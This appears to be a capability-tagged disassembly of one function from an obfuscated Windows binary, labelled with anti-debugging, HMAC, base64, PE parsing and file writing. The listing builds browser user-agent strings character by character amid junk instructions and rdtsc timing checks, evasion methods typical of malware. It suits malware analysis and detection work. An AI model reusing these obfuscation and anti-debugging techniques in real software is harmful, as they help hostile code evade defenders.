Function at 0x5d5dbd
Capabilities:
Authenticate hmac
Check http status code
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Write file on windows

Disassembly:
xor eax, ebp
jmp 0x7245f1
lea eax, [ebp - 0x177e]
jmp 0x6843e1
mov word [ebp - 0x1986], cx
movsx dx, ah
mov dx, cx
movzx edx, dx
push 0x164
mov edx, eax
push ecx
lea edx, [ebp - 0x1984]
jmp 0x63112d
call fcn.00454550
mov eax, 0x4d
sbb ecx, ebp
btc dx, 0xae
mov word [ebp - 0x1820], ax
shl ah, 0x38
mov ecx, 0x6f
mov word [ebp - 0x181e], cx
xor eax, 0x59536db3
ror dl, cl
mov cx, 0x3cda
mov edx, 0x7a
mov word [ebp - 0x181c], dx
mov eax, 0x69
xadd cl, dh
test bh, 0xdb
sbb edx, ebp
mov word [ebp - 0x181a], ax
stc
cdq
mov ecx, 0x6c
movsx eax, ax
shl eax, 3
rcr dl, cl
mov word [ebp - 0x1818], cx
cmp si, si
mov edx, ecx
sub ax, ax
ror ax, 0x6d
mov word [ebp - 0x1816], dx
mov eax, 0x61
xor cx, si
mov word [ebp - 0x1814], ax
shrd dx, bx, 0x16
mov ecx, 0x2f
or al, 0x8a
sub dl, ch
mov word [ebp - 0x1812], cx
mov al, 0x84
and ecx, 0x1849730c
lahf
mov edx, 0x35
mov word [ebp - 0x1810], dx
ror al, 0xdb
sbb cx, bp
inc eax
mov eax, 0x2e
mov word [ebp - 0x180e], ax
shrd dx, ax, 0xef
sal ecx, cl
mov ecx, 0x30
cmc
mov word [ebp - 0x180c], cx
mov edx, 0x20
shld eax, ebx, 0x4d
xor ah, 0xe7
mov word [ebp - 0x180a], dx
shr cx, 0x5f
not dx
mov eax, 0x28
ror edx, cl
mov word [ebp - 0x1808], ax
cbw
sar ax, 0x51
mov ecx, 0x4d
mov word [ebp - 0x1806], cx
sal ax, cl
mov edx, 0x61
btr ecx, 0x72
adc ax, 0x77bc
mov word [ebp - 0x1804], dx
or eax, eax
mov eax, 0x63
inc ch
mov word [ebp - 0x1802], ax
xadd ah, cl
test di, bp
adc eax, 0x333a158c
mov ecx, 0x69
jmp 0x6c10fa
push eax
jmp 0x6ffec0
push ebp
mov ebp, esp
rcl ax, 3
push 0xfffffffffffffffe
btr eax, edi
bsr eax, ebx
push 0x794594
push 0x454bd0
bsf eax, esp
btr ax, si
jmp 0x6da876
mov word [ebp - 0x1bc2], ax
jmp 0x6eb35b
push eax
jmp 0x7493ab
call fcn.00455860
mov eax, dword [0x4f65e8]
jmp 0x723ad6
push ecx
jmp 0x743176
mov dword fs:[0], eax
movsx ebx, cx
mov dword [ebp - 0x18], esp
movsx esi, bp
lahf
movzx ebx, bp
mov ebx, dword [ebp + 8]
movsx esi, sp
cmovno si, dx
mov eax, dword [ebp + 0xc]
mov esi, 0xa542606
not si
mov dword [ebp - 0x1e40], eax
mov ax, 0xd65
mov dword [ebp - 0x1e38], ecx
mov esi, dword [ebp + 0x10]
xchg cx, cx
mov dword [ebp - 0x1e30], esi
mov dword [ebp - 0x1e2c], edx
cbw
movzx edx, di
mov eax, dword [ebp + 0x14]
mov cx, 0x7e04
movsx ecx, bx
cdq
mov dword [ebp - 0x1e28], eax
cbw
mov ch, bl
mov ecx, dword [ebp + 0x18]
movzx eax, di
jmp 0x77d714
push edx
jmp 0x5830b8
push eax
jmp 0x76416c
mov eax, dword [0x501dd0]
jmp 0x5d032d
mov word [ebp - 0x1800], cx
mov edx, 0x6e
mov word [ebp - 0x17fe], dx
mov ecx, 0x3d44144d
mov eax, 0x74
mov word [ebp - 0x17fc], ax
rcr dx, 0x44
rdtsc
mov ecx, 0x6f
bsr dx, dx
rol ah, cl
mov word [ebp - 0x17fa], cx
sub dl, 0xb7
shl dl, 0xc2
mov edx, 0x73
mov word [ebp - 0x17f8], dx
shr dl, 0x54
cmc
mov eax, 0x68
ror cl, 0xa2
mov word [ebp - 0x17f6], ax
dec ax
bts dx, si
sbb cx, di
mov ecx, 0x3b
mov word [ebp - 0x17f4], cx
movzx eax, bp
cwde
mov edx, 0x20
bsf ax, si
ror ah, cl
rcl ah, cl
mov word [ebp - 0x17f2], dx
btr edx, 0xe8
shr dh, 0x40
mov eax, 0x49
cdq
add dx, 0x7d6d
add cl, dh
mov word [ebp - 0x17f0], ax
movzx dx, dh
sub dh, 0x45
mov ecx, 0x6e
mov word [ebp - 0x17ee], cx
shrd cx, sp, 0xcd
movzx edx, dx
mov edx, 0x74
xor ecx, eax
mov word [ebp - 0x17ec], dx
mov eax, 0x65
bt edx, 0x3d
mov word [ebp - 0x17ea], ax
sal dl, 0x50
bt dx, dx
cmp sp, 0x267a
mov ecx, 0x6c
mov word [ebp - 0x17e8], cx
bsf ecx, esi
or ecx, 0x14da451a
mov edx, 0x20
shr al, 0xbb
mov word [ebp - 0x17e6], dx
bsf edx, edi
btc edx, 0x24
mov eax, 0x4d
btr edx, ebx
mov dh, 0x52
mov word [ebp - 0x17e4], ax
test cl, 0xf4
shl ah, 0x89
mov ecx, 0x61
mov word [ebp - 0x17e2], cx
test dh, 0xba
rdtsc
or dh, 0xa9
mov edx, 0x63
adc ah, 0x39
ror cx, 0x70
mov word [ebp - 0x17e0], dx
cwd
bsf ax, bp
mov eax, 0x20
mov word [ebp - 0x17de], ax
mov ecx, 0x4f
mov word [ebp - 0x17dc], cx
or edx, esi
rcr dx, 0xb2
bts dx, ax
mov edx, 0x53
adc cx, bp
mov word [ebp - 0x17da], dx
sub cx, bx
mov word [ebp - 0x17d8], ax
mov ecx, 0x58
movsx edx, ax
mov word [ebp - 0x17d6], cx
adc edx, esi
bt ecx, ecx
mov edx, eax
mov word [ebp - 0x17d4], dx
shr al, 0xc5
shr dh, cl
mov eax, 0x78
mov word [ebp - 0x17d2], ax
shr al, cl
mov ecx, 0x2e
mov word [ebp - 0x17d0], cx
mov edx, 0x79
inc cx
test di, cx
sar al, cl
mov word [ebp - 0x17ce], dx
rdtsc
add dl, 0x4a
test si, 0x4aaa
mov eax, 0x3b
cmp ebp, 0x148e2b64
mov word [ebp - 0x17cc], ax
mov ch, 0x1b
mov ecx, 0x20
mov word [ebp - 0x17ca], cx
or ah, 0xa3
and ecx, 0x3abe24a4
movzx eax, ax
mov edx, 0x72
sal al, 0x7f
cmc
mov word [ebp - 0x17c8], dx
rcl cl, cl
rdtsc
shr ch, 0x48
mov eax, 0x76
cmovs dx, cx
mov word [ebp - 0x17c6], ax
mov ecx, 0x3a
mov word [ebp - 0x17c4], cx
cmovo edx, edi
bswap dx
sal ecx, cl
mov edx, 0x34
bts ax, di
cmovns ax, bx
sub ah, bl
mov word [ebp - 0x17c2], dx
xchg cl, ah
jmp 0x6e0325
mov word [ebp - 0x1be6], ax
bt edx, esp
movsx eax, di
mov word [ebp - 0x1be4], cx
bt dx, ax
dec cx
cmc
mov edx, 0x65
lahf
sar ecx, cl
btc eax, 0x2c
mov word [ebp - 0x1be2], dx
cmc
cwde
rcl cx, 0x9b
mov eax, 0x6e
and cx, 0x2c68
mov cl, dl
mov word [ebp - 0x1be0], ax
mov ecx, 0x29
xchg dx, ax
mov word [ebp - 0x1bde], cx
cwde
shl cx, 0x82
mov edx, 0x20
test bp, 0x720d
mov word [ebp - 0x1bdc], dx
mov dx, 0x31e8
or cl, 0xff
movsx ax, ah
mov eax, 0x50
mov word [ebp - 0x1bda], ax
mov ah, 0xb8
mov ecx, 0x72
xor dx, 0x7bb7
test sp, ax
mov word [ebp - 0x1bd8], cx
add eax, edi
cmc
mov edx, 0x65
bt cx, 0xa6
bts ax, di
mov word [ebp - 0x1bd6], dx
rcr edx, 0x51
cdq
mov eax, 0x73
mov ecx, 0x6d480d31
stc
mov cl, bh
mov word [ebp - 0x1bd4], ax
cdq
ror cl, 0x2f
not dl
mov ecx, 0x74
movsx edx, cx
xor ax, 0x717d
mov word [ebp - 0x1bd2], cx
mov edx, 0x6f
cmp ebp, esp
add al, 0xe5
adc ah, 0xa2
mov word [ebp - 0x1bd0], dx
xor dx, si
mov eax, 0x2f
rol dl, 0xa1
adc dx, 0x6afc
mov word [ebp - 0x1bce], ax
btc ecx, esp
mov ecx, 0x32
clc
cmp eax, ebx
mov word [ebp - 0x1bcc], cx
mov edx, 0x2e
mov word [ebp - 0x1bca], dx
mov eax, 0x31
cmc
neg ecx
mov word [ebp - 0x1bc8], ax
sar ch, 0xc2
sal cl, 0x2d
movsx ecx, di
mov ecx, edx
mov word [ebp - 0x1bc6], cx
sal dh, cl
mov edx, eax
xor ecx, 0x54083f9b
bswap cx
movsx ecx, sp
mov word [ebp - 0x1bc4], dx
sub eax, eax
jmp 0x5cb3e5
mov edx, 0x57
xchg ah, ah
mov word [ebp - 0x1606], dx
rcl dh, 0xa4
mov eax, 0x69
mov word [ebp - 0x1604], ax
sub eax, 0x3a5f136c
bswap edx
bts cx, bx
mov ecx, 0x6e
cbw
mov word [ebp - 0x1602], cx
xor dh, 0xd4
mov edx, 0x64
sub eax, 0x3563011c
setge cl
stc
mov word [ebp - 0x1600], dx
btc edx, 0x3c
btr cx, 0xa8
mov eax, 0x6f
neg cl
rol dx, cl
sub cl, cl
mov word [ebp - 0x15fe], ax
mov ecx, 0x77
or al, 0x1f
mov word [ebp - 0x15fc], cx
mov edx, 0x73
btc ecx, 0xb9
and eax, edi
rcl cx, cl
mov word [ebp - 0x15fa], dx
cwd
mov eax, 0x20
mov word [ebp - 0x15f8], ax
cwd
mov ecx, 0x4e
cmp ch, cl
neg edx
inc dl
mov word [ebp - 0x15f6], cx
sar ch, 0x4d
mov edx, 0x54
mov word [ebp - 0x15f4], dx
bt ecx, 0xfd
mov word [ebp - 0x15f2], ax
dec cx
mov ecx, 0x35
shr ah, cl
mov word [ebp - 0x15f0], cx
shr cl, 0xaf
rol cl, cl
mov edx, 0x2e
mov word [ebp - 0x15ee], dx
cwd
mov eax, 0x31
stc
ror dl, cl
dec edx
mov word [ebp - 0x15ec], ax
rcr ah, 0xcd
mov ecx, 0x29
lahf
shr eax, 0x64
mov word [ebp - 0x15ea], cx
mov edx, 0x20
cwde
rcr ah, 0x43
shrd cx, di, 0x46
mov word [ebp - 0x15e8], dx
mov cx, si
mov eax, 0x41
bswap ecx
jmp 0x6dae8f
mov eax, dword fs:[0]
push eax
mov eax, ecx
sub esp, 8
cmovo eax, edi
mov eax, 0x1e50
jmp 0x5d5dbd
mov word [ebp - 0x15e6], ax
lahf
mov ecx, 0x70
test ax, 0x452b
xor dl, bl
mov word [ebp - 0x15e4], cx
adc dx, 0x7ab1
bts eax, ebp
rol dl, cl
mov edx, ecx
mov word [ebp - 0x15e2], dx
test eax, esp
rcl al, cl
mov eax, 0x6c
shl cx, cl
shld ecx, edx, 0xeb
mov word [ebp - 0x15e0], ax
sal dx, cl
sbb ecx, 0x4b3a3b33
mov ecx, 0x65
mov word [ebp - 0x15de], cx
mov edx, 0x57
mov word [ebp - 0x15dc], dx
rcr dh, cl
sar eax, cl
jmp 0x75d97a
mov eax, 0x32
cmp ecx, 0x3ddc65db
mov word [ebp - 0x17c0], ax
mov ecx, 0x2e
and dl, 0xf4
mov word [ebp - 0x17be], cx
rcl cx, cl
lahf
shr cl, 0x30
mov edx, 0x30
mov word [ebp - 0x17bc], dx
mov eax, 0x29
and ecx, 0x41031f9f
rcl cx, 0xeb
mov word [ebp - 0x17ba], ax
mov ecx, 0x20
mov word [ebp - 0x17b8], cx
mov edx, 0x47
shl al, cl
mov word [ebp - 0x17b6], dx
shrd ax, dx, 0x13
mov eax, 0x65
mov word [ebp - 0x17b4], ax
cdq
mov ecx, 0x63
lahf
inc dx
test dh, 0xb2
mov word [ebp - 0x17b2], cx
bsf cx, ax
ror eax, cl
mov edx, 0x6b
mov word [ebp - 0x17b0], dx
mov eax, 0x6f
mov word [ebp - 0x17ae], ax
ror al, 0x39
add edx, ebx
rol dl, 0x6a
mov ecx, 0x2f
shld ax, ax, 0x9e
cmc
mov word [ebp - 0x17ac], cx
bt eax, ecx
bts edx, edx
cmp di, bp
mov edx, 0x32
mov word [ebp - 0x17aa], dx
stc
mov eax, 0x30
mov word [ebp - 0x17a8], ax
rcl ecx, cl
cdq
mov ecx, 0x31
shl dx, cl
sbb dx, 0x5670
mov word [ebp - 0x17a6], cx
cwd
movsx edx, si
mov edx, eax
cmc
clc
mov word [ebp - 0x17a4], dx
mov word [ebp - 0x17a2], ax
sub ax, 0x4b
mov word [ebp - 0x17a0], cx
btr ax, sp
inc al
movsx eax, ax
mov word [ebp - 0x179e], dx
cbw
shld eax, edi, 0x15
mov eax, ecx
shr cx, cl
cmc
mov word [ebp - 0x179c], ax
bsr eax, edx
adc cl, dl
mov ecx, 0x20
xchg edx, eax
btc dx, 0xc3
sar edx, 0x12
mov word [ebp - 0x179a], cx
mov edx, 0x46
or ch, ch
mov word [ebp - 0x1798], dx
mov eax, 0x69
rcr cx, 0xc3
and dl, 0x55
mov word [ebp - 0x1796], ax
clc
mov ecx, 0x72
sub edx, edi
mov word [ebp - 0x1794], cx
mov edx, 0x65
and ch, 0xe2
bt cx, ax
mov word [ebp - 0x1792], dx
movzx ecx, si
mov eax, 0x66
mov word [ebp - 0x1790], ax
mov ecx, 0x6f
xor al, 0xb3
shl eax, 0x60
shld edx, ebx, 0x4b
mov word [ebp - 0x178e], cx
bt ecx, 0x71
rcl dl, cl
movsx edx, cx
mov edx, 0x78
shld ecx, ebx, 0x9b
mov word [ebp - 0x178c], dx
sbb ax, 0x6d4b
and cx, cx
mov eax, 0x2f
mov word [ebp - 0x178a], ax
mov ecx, 0x34
and ah, cl
mov word [ebp - 0x1788], cx
cmc
mov edx, 0x32
add ax, di
shr eax, cl
mov word [ebp - 0x1786], dx
rcr eax, 0xd1
mov eax, 0x2e
sar ecx, 0xb5
shrd cx, cx, 0xa5
mov word [ebp - 0x1784], ax
mov ecx, 0x30
shld eax, ebp, 0xe8
bts eax, eax
rol al, cl
mov word [ebp - 0x1782], cx
bts eax, ecx
sub edx, edx
mov al, 0xab
mov word [ebp - 0x1780], dx
push 0x15e
cbw
push edx
movsx eax, dx
jmp 0x5160ac
push 0x1a0
push eax
xchg cx, cx
lea ecx, [ebp - 0x1bc0]
jmp 0x5fea5a
mov edx, 0x70
cmc
sbb ah, 0x62
mov word [ebp - 0x1e1e], dx
btr eax, 0xe9
mov eax, 0x65
test bx, bx
mov word [ebp - 0x1e1c], ax
mov ecx, 0x72
btr edx, ecx
ror eax, cl
add ax, 0x14e6
mov word [ebp - 0x1e1a], cx
not cx
mov edx, 0x61
mov word [ebp - 0x1e18], dx
bswap dx
test dx, 0x507a
cmc
mov eax, 0x2f
mov word [ebp - 0x1e16], ax
test bx, 0x661d
btc ecx, 0xa6
mov ecx, 0x39
bts ax, bx
bts eax, ebx
mov word [ebp - 0x1e14], cx
bts edx, eax
ror al, cl
mov edx, 0x2e
sar cx, 0x45
mov word [ebp - 0x1e12], dx
cmp esp, ecx
mov eax, 0x38
mov word [ebp - 0x1e10], ax
mov ecx, 0x30
shr edx, cl
xchg dl, dh
mov word [ebp - 0x1e0e], cx
btc edx, 0x2c
btr edx, edx
mov edx, 0x20
mov ecx, edx
not eax
btc ecx, 0x84
mov word [ebp - 0x1e0c], dx
sal ch, 0xde
mov eax, 0x28
dec dx
mov word [ebp - 0x1e0a], ax
mov ecx, 0x4d
bswap eax
movzx eax, sp
mov word [ebp - 0x1e08], cx
bsf ecx, ecx
mov edx, 0x61
cmovo eax, esp
btc ecx, 0xa2
mov word [ebp - 0x1e06], dx
not cl
cwde
inc ecx
mov eax, 0x63
xor ch, ch
mov word [ebp - 0x1e04], ax
test si, 0x3e53
mov ecx, 0x69
mov dx, bp
xadd dl, dh
cwde
mov word [ebp - 0x1e02], cx
test di, cx
bsf dx, cx
mov edx, 0x6e
adc ah, cl
shl eax, 0x1a
rol ch, cl
mov word [ebp - 0x1e00], dx
and dx, 0x5b07
mov eax, 0x74
shl edx, cl
rcl ch, cl
or ecx, edi
mov word [ebp - 0x1dfe], ax
sbb al, al
clc
shl ax, cl
mov ecx, 0x6f
sub dh, 0xaa
add dx, bx
mov word [ebp - 0x1dfc], cx
neg al
mov edx, 0x73
cwde
bt ax, 0xe9
cmp esp, ecx
mov word [ebp - 0x1dfa], dx
rcr al, cl
mov eax, 0x68
mov word [ebp - 0x1df8], ax
btr dx, 0x49
mov ecx, 0x3b
sbb edx, 0x16462e40
mov word [ebp - 0x1df6], cx
xor al, 0x46
bt ecx, 0x4b
test dh, 0x14
mov edx, 0x20
cmc
mov word [ebp - 0x1df4], dx
mov eax, 0x49
mov word [ebp - 0x1df2], ax
mov ecx, 0x6e
cmove edx, esp
mov word [ebp - 0x1df0], cx
adc ax, di
cwd
mov edx, 0x74
mov word [ebp - 0x1dee], dx
rdtsc
cwd
mov eax, 0x65
shl cl, cl
mov word [ebp - 0x1dec], ax
mov ecx, 0x6c
bt edx, 0xf
btr ax, 0x27
mov word [ebp - 0x1dea], cx
mov edx, 0x20
bsf eax, edi
rcl cl, 0xbf
sbb ah, cl
mov word [ebp - 0x1de8], dx
mov eax, 0x4d
cmp bp, 0x32d4
mov word [ebp - 0x1de6], ax
sal edx, cl
shld dx, di, 0xaa
mov ecx, 0x61
mov word [ebp - 0x1de4], cx
ror dx, 0xdb
adc dx, ax
or al, 9
mov edx, 0x63
sar ah, 0xd6
mov word [ebp - 0x1de2], dx
mov eax, 0x20
movsx edx, di
xchg cx, dx
mov word [ebp - 0x1de0], ax
xor ch, 0x43
mov ecx, 0x4f
shl dl, cl
cmovle edx, ebx
mov word [ebp - 0x1dde], cx
movzx edx, dx
test esp, 0xdef2950
mov edx, 0x53
mov word [ebp - 0x1ddc], dx
mov word [ebp - 0x1dda], ax
mov ecx, 0x58
mov word [ebp - 0x1dd8], cx
rcl dh, cl
mov edx, 0x3b
btr ecx, 0xb6
mov word [ebp - 0x1dd6], dx
mov word [ebp - 0x1dd4], ax
mov ecx, 0x55
cmp esp, ebx
mov word [ebp - 0x1dd2], cx
btc ecx, 9
mov word [ebp - 0x1dd0], dx
mov word [ebp - 0x1dce], ax
sub dx, 0x548a
btr ax, 0x51
mov ecx, 0x65
not al
or eax, 0x57881a49
movzx eax, cx
mov word [ebp - 0x1dcc], cx
sbb dh, 0xff
adc edx, edx
sal dh, cl
mov edx, 0x6e
add cl, 0x8a
shl al, 0x49
mov word [ebp - 0x1dca], dx
sal eax, cl
mov eax, 0x29
test bp, 0x5f11
mov word [ebp - 0x1dc8], ax
inc dh
mov ecx, 0x20
dec al
mov word [ebp - 0x1dc6], cx
mov edx, 0x50
mov word [ebp - 0x1dc4], dx
movsx edx, cx
mov cx, 0xac2
not eax
mov eax, 0x72
mov word [ebp - 0x1dc2], ax
cmc
setnp dl
mov ecx, 0x65
add ax, di
shl dx, 0x50
mov word [ebp - 0x1dc0], cx
btr edx, esp
sbb edx, 0x54f86859
mov edx, 0x73
sal ah, 0xf9
mov word [ebp - 0x1dbe], dx
and edx, 0x19dc750d
cwde
mov eax, 0x74
or cl, 0x12
sbb cx, bp
movsx ecx, sp
mov word [ebp - 0x1dbc], ax
stc
mov ecx, 0x6f
jmp 0x736e3e
call fcn.00454550
mov ecx, 0x4f
cdq
mov word [ebp - 0x1c20], cx
mov edx, 0x70
bts cx, di
bt cx, dx
mov word [ebp - 0x1c1e], dx
mov eax, 0x65
sub cx, ax
or dx, sp
mov word [ebp - 0x1c1c], ax
lahf
mov ecx, 0x72
cwd
mov word [ebp - 0x1c1a], cx
shld ax, bp, 0x5a
mov edx, 0x61
mov word [ebp - 0x1c18], dx
xadd cl, ah
rcl ecx, cl
mov eax, 0x2f
ror dx, cl
mov word [ebp - 0x1c16], ax
bswap ecx
mov ecx, 0x39
shr dx, 0x1d
mov dx, 0x3977
mov word [ebp - 0x1c14], cx
xor ecx, eax
cmova eax, edx
mov edx, 0x2e
xadd ax, cx
stc
mov word [ebp - 0x1c12], dx
cwde
bsf ecx, esp
bts dx, cx
mov eax, 0x36
and dl, 8
cmovg edx, eax
mov word [ebp - 0x1c10], ax
shl ax, cl
mov ecx, 0x30
mov word [ebp - 0x1c0e], cx
xor ch, 0x85
mov edx, 0x20
ror cx, cl
mov word [ebp - 0x1c0c], dx
bts eax, edx
sbb dx, bp
shl ch, cl
mov eax, 0x28
sal cx, cl
bts ecx, edi
mov word [ebp - 0x1c0a], ax
mov ecx, 0x57
mov word [ebp - 0x1c08], cx
mov edx, 0x69
mov word [ebp - 0x1c06], dx
sub al, 0x4c
mov eax, 0x6e
bts cx, bx
or dx, sp
not cx
mov word [ebp - 0x1c04], ax
mov ecx, 0x64
xchg dx, dx
mov word [ebp - 0x1c02], cx
mov edx, 0x6f
and ecx, esp
mov word [ebp - 0x1c00], dx
shl eax, 0xa0
rcr dx, cl
mov eax, 0x77
sub ecx, esi
add cx, dx
shl dl, cl
mov word [ebp - 0x1bfe], ax
movzx edx, dx
neg ah
mov ecx, 0x73
sal al, cl
mov word [ebp - 0x1bfc], cx
ror dl, 0x47
sub cl, 0xb2
mov edx, 0x20
neg eax
mov word [ebp - 0x1bfa], dx
rcr ch, 0x73
add al, 0xec
mov eax, 0x4e
bt cx, bp
mov word [ebp - 0x1bf8], ax
rcr ecx, cl
mov ecx, 0x54
cmc
nop
mov word [ebp - 0x1bf6], cx
xor eax, esi
ror al, 0xa3
sal ax, cl
mov word [ebp - 0x1bf4], dx
xor dx, bp
cmp dl, cl
mov eax, 0x36
mov word [ebp - 0x1bf2], ax
mov ecx, 0x2e
btc dx, bp
shl ah, 0xd1
bts edx, esp
mov word [ebp - 0x1bf0], cx
mov edx, 0x30
rcl ch, cl
bts eax, ebp
mov word [ebp - 0x1bee], dx
bsr dx, bx
add ecx, ebx
mov eax, 0x3b
mov word [ebp - 0x1bec], ax
not cl
or cl, 0x99
clc
mov ecx, 0x20
and dl, 0xf
mov word [ebp - 0x1bea], cx
sbb edx, 0xb5d4845
mov edx, 0x55
cmp ax, 0x4fac
clc
mov word [ebp - 0x1be8], dx
jmp 0x6d588f
push ebx
push esi
push edi
mov si, dx
bswap ebx
movsx esi, cx
push eax
lea eax, [ebp - 0x10]
movsx bx, al
jmp 0x61d3ce
mov ecx, 0x34
cbw
movzx ax, dh
mov word [ebp - 0x19d4], cx
rcr dh, cl
mov edx, 0x3b
mov word [ebp - 0x19d2], dx
cmp ebx, edx
ror ch, 0xa4
mov eax, 0x20
mov word [ebp - 0x19d0], ax
sbb edx, ebx
not ah
mov ecx, 0x72
cdq
mov word [ebp - 0x19ce], cx
sal cx, cl
btc eax, ebx
shr al, 0xfd
mov edx, 0x76
mov word [ebp - 0x19cc], dx
sbb cl, 0x83
mov eax, 0x3a
mov word [ebp - 0x19ca], ax
test ax, 0x7774
mov ecx, 0x34
cbw
mov word [ebp - 0x19c8], cx
and cx, 0x431e
ror ecx, 0xa5
mov edx, 0x37
cwde
xor cx, 0x1094
mov word [ebp - 0x19c6], dx
mov eax, 0x2e
xchg dx, cx
sbb dx, 0x2cfe
mov word [ebp - 0x19c4], ax
shrd dx, dx, 0xe7
mov ecx, 0x30
ror al, 0xeb
rdtsc
mov word [ebp - 0x19c2], cx
rcl al, 0x3a
mov edx, 0x29
add ecx, eax
bsr ecx, edi
mov word [ebp - 0x19c0], dx
btc eax, 0xa3
sbb ecx, edi
ror edx, 0x9c
mov eax, 0x20
xor dh, 0x31
mov word [ebp - 0x19be], ax
btr dx, cx
rdtsc
mov ecx, 0x47
cmovg dx, dx
bts eax, eax
mov word [ebp - 0x19bc], cx
sar dl, cl
mov cx, dx
cwde
mov edx, 0x65
bts eax, edi
not ch
mov word [ebp - 0x19ba], dx
add eax, ebp
xchg dx, dx
mov eax, 0x63
xchg cx, cx
mov word [ebp - 0x19b8], ax
movsx dx, bh
mov ecx, 0x6b
xor dx, 0xa69
mov word [ebp - 0x19b6], cx
mov edx, 0x6f
test ebx, ebx
bt cx, cx
mov word [ebp - 0x19b4], dx
mov eax, 0x2f
mov word [ebp - 0x19b2], ax
rcr ax, cl
bsr ax, bx
bts ecx, esp
mov ecx, 0x32
shl ah, cl
rcr edx, cl
mov word [ebp - 0x19b0], cx
sar ah, cl
movzx edx, cx
cdq
mov edx, 0x30
not ah
neg cl
ror cx, 0x18
mov word [ebp - 0x19ae], dx
mov eax, 0x31
cmovae ecx, esp
and cl, 0x37
or cl, al
mov word [ebp - 0x19ac], ax
sbb ecx, esp
sub ecx, 0x4c5b4e4e
btc cx, di
mov ecx, edx
test bh, 0xd6
test esp, eax
mov word [ebp - 0x19aa], cx
mov word [ebp - 0x19a8], dx
stc
bsr edx, esi
mov word [ebp - 0x19a6], ax
sub dx, sp
shrd dx, bp, 0x6f
test ebp, ebx
mov word [ebp - 0x19a4], cx
sar edx, 0xf8
cmovs cx, cx
mov edx, eax
shr ax, cl
mov word [ebp - 0x19a2], dx
adc eax, edx
mov eax, 0x20
cmovae ecx, edi
sar dx, 0x73
mov word [ebp - 0x19a0], ax
and eax, ebp
mov ecx, 0x46
and al, bh
shld eax, edi, 9
sar dl, cl
mov word [ebp - 0x199e], cx
xor dl, 0xe9
mov edx, 0x69
sar cl, cl
inc ch
mov word [ebp - 0x199c], dx
sub ch, 0xad
jmp 0x77f918
xor dword [ebp - 8], eax
cmp esi, esp
jmp 0x50fa93
mov dword [ebp - 0x1c], eax
jmp 0x700719
mov ecx, 0x57
mov word [ebp - 0x19e6], cx
mov edx, 0x69
add al, 0xc1
mov word [ebp - 0x19e4], dx
rol al, 0xf5
cmp bp, cx
setp ch
mov eax, 0x6e
shr edx, cl
or edx, esi
adc edx, 0x75335f15
mov word [ebp - 0x19e2], ax
mov ecx, 0x36
shr al, 0x24
mov word [ebp - 0x19e0], cx
shr ax, cl
sar cx, cl
bsf cx, dx
mov edx, 0x34
movzx eax, di
sal ch, cl
jmp 0x7506e0
mov word [ebp - 0x1dba], cx
xchg al, al
movsx eax, bx
bts ecx, eax
mov edx, 0x2f
rcl al, cl
mov word [ebp - 0x1db8], dx
mov eax, 0x32
bt dx, 0x5f
xadd cl, dh
mov word [ebp - 0x1db6], ax
mov ecx, 0x2e
mov word [ebp - 0x1db4], cx
mov edx, eax
dec ax
sal eax, cl
mov word [ebp - 0x1db2], dx
movzx edx, si
shl edx, cl
xadd ah, ah
mov eax, ecx
bswap cx
test ch, 0x43
and dx, sp
mov word [ebp - 0x1db0], ax
cbw
add cx, bp
movzx eax, bp
mov ecx, 0x31
shl edx, cl
mov word [ebp - 0x1dae], cx
rdtsc
cwde
adc al, dl
mov edx, 0x35
shr cx, cl
mov word [ebp - 0x1dac], dx
btc cx, 0xa6
mov eax, 0x20
btr ecx, edx
sar cx, cl
xadd dx, cx
mov word [ebp - 0x1daa], ax
bts edx, ebp
inc cl
sal dh, cl
mov ecx, 0x56
shr al, cl
btc ax, 0xc
mov word [ebp - 0x1da8], cx
adc cx, 0x734
mov edx, 0x65
mov word [ebp - 0x1da6], dx
dec dl
mov eax, 0x72
shrd dx, sp, 0x88
sbb cx, 0x6fb
mov word [ebp - 0x1da4], ax
mov ecx, 0x73
xor al, 0x9f
bswap dx
mov word [ebp - 0x1da2], cx
rcl edx, cl
mov edx, 0x69
mov word [ebp - 0x1da0], dx
mov eax, 0x6f
bsf edx, eax
mov word [ebp - 0x1d9e], ax
inc cx
shr ecx, cl
sbb edx, edi
mov ecx, 0x6e
mov word [ebp - 0x1d9c], cx
test cx, sp
add dl, 0x37
mov edx, 0x2f
sar ax, cl
add ecx, eax
mov word [ebp - 0x1d9a], dx
neg ch
mov eax, edx
mov eax, 0x31
shr cx, cl
mov word [ebp - 0x1d98], ax
cwd
cmp edx, 0x4b010d92
mov ecx, 0x30
seta dh
cmc
btc edx, edx
mov word [ebp - 0x1d96], cx
mov edx, 0x2e
sub eax, 0x4fa855b9
sbb ax, cx
mov word [ebp - 0x1d94], dx
cmp bp, si
sar al, 0xa6
bts eax, eax
mov eax, ecx
mov word [ebp - 0x1d92], ax
rol ah, cl
btc ax, 0x5d
btr ax, 0xe4
mov word [ebp - 0x1d90], cx
xor edx, edx
movsx ax, dh
not ax
mov word [ebp - 0x1d8e], dx
push 0x16c
not ah
bswap ax
push edx
lea eax, [ebp - 0x1d8c]
jmp 0x5bb99b
call fcn.00454550
mov edx, 0x4d
rcl cl, 0x40
mov word [ebp - 0x1a20], dx
adc ax, si
sar ecx, 0x32
clc
mov eax, 0x6f
adc ecx, ebp
btc ecx, edi
mov word [ebp - 0x1a1e], ax
add ax, bx
inc eax
cmp ecx, ebp
mov ecx, 0x7a
mov word [ebp - 0x1a1c], cx
add ax, bx
add al, 0x89
mov edx, 0x69
mov word [ebp - 0x1a1a], dx
sal cx, 0x88
mov dl, ah
rol cx, 0x13
mov eax, 0x6c
movsx edx, di
movzx edx, cx
mov word [ebp - 0x1a18], ax
shl dx, 0x65
mov ecx, eax
mov word [ebp - 0x1a16], cx
not eax
bsr ecx, ecx
mov edx, 0x61
clc
movsx ecx, bp
mov word [ebp - 0x1a14], dx
stc
neg ax
add dx, 0x780a
mov eax, 0x2f
mov word [ebp - 0x1a12], ax
sal al, cl
mov ecx, 0x35
inc dh
bts ax, di
rdtsc
mov word [ebp - 0x1a10], cx
or cx, ax
sar dh, cl
mov edx, 0x2e
rcl ah, 0xbf
movsx ecx, cx
mov word [ebp - 0x1a0e], dx
add dx, bp
movsx edx, sp
bsf ecx, esp
mov eax, 0x30
mov ecx, edi
mov word [ebp - 0x1a0c], ax
movsx dx, al
mov ecx, 0x20
sal dl, cl
mov word [ebp - 0x1a0a], cx
cbw
mov edx, 0x28
add ecx, 0x58560101
mov word [ebp - 0x1a08], dx
cmc
and edx, edi
or edx, ebp
mov eax, 0x57
mov word [ebp - 0x1a06], ax
mov ecx, 0x69
